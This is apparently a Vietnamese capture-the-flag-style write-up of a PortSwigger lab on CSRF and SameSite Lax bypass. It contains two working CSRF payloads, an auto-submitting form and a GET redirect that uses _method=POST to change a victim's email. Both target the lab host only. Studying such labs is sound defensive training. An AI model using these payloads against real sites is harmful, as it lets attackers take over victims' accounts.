### Web Academy PortSwigger
* Lab: [SameSite Lax bypass via method override](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-lax-bypass-via-method-override)
* Descript: This lab's change email function is vulnerable to CSRF.
* To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.
* Solved and Writeup by Me ^^!

Truy cập Lab , ta có giao diện như sau:

Vào đăng nhập vơí user wiener , chặn request và xem xét:


Ta thấy có vẻ như không có cơ chế bảo vệ CSRF , sau khi tải payload đơn giản sau lên exploit server, email được thay đổi như bên trên:
```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0ac7006c036ff84b80f51c6500ad003e.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="abc123@gmail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
```
Sau một hồi tìm tòi , ta thử lại cách trên trong Chrome ( Trước đó là trên FOX browser), kết quả là bị log out ra và đưa tới trang login.
Nguyên do là trình duyệt Chrome tự động thêm thuộc tính mặc định SameSite: Lax
*Nói thêm về cơ chế SameSite: Lax :Trong trường hợp có request chéo trang (cross-site), Cookies Session không được bao gồm trong POST request, cũng như được tạo bởi Script , Iframe, Image,..==> do vậy , hạn chế được các cuộc tấn công CSRF , nhưng cũng hạn chế một số chức năng.*
Do đó , dựa theo đề bài có nội dung override method , ta tạo một đoạn html nhằm sử dụng chức năng thay đổi email sau :
```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
document.location = "https://0ac7006c036ff84b80f51c6500ad003e.web-security-academy.net/my-account/change-email?email=trantung1
@gmail.com&_method=POST";
</script>
</body>
</html>
```

Presss Deliver to Victim , and View exploit
and.... Lab Solved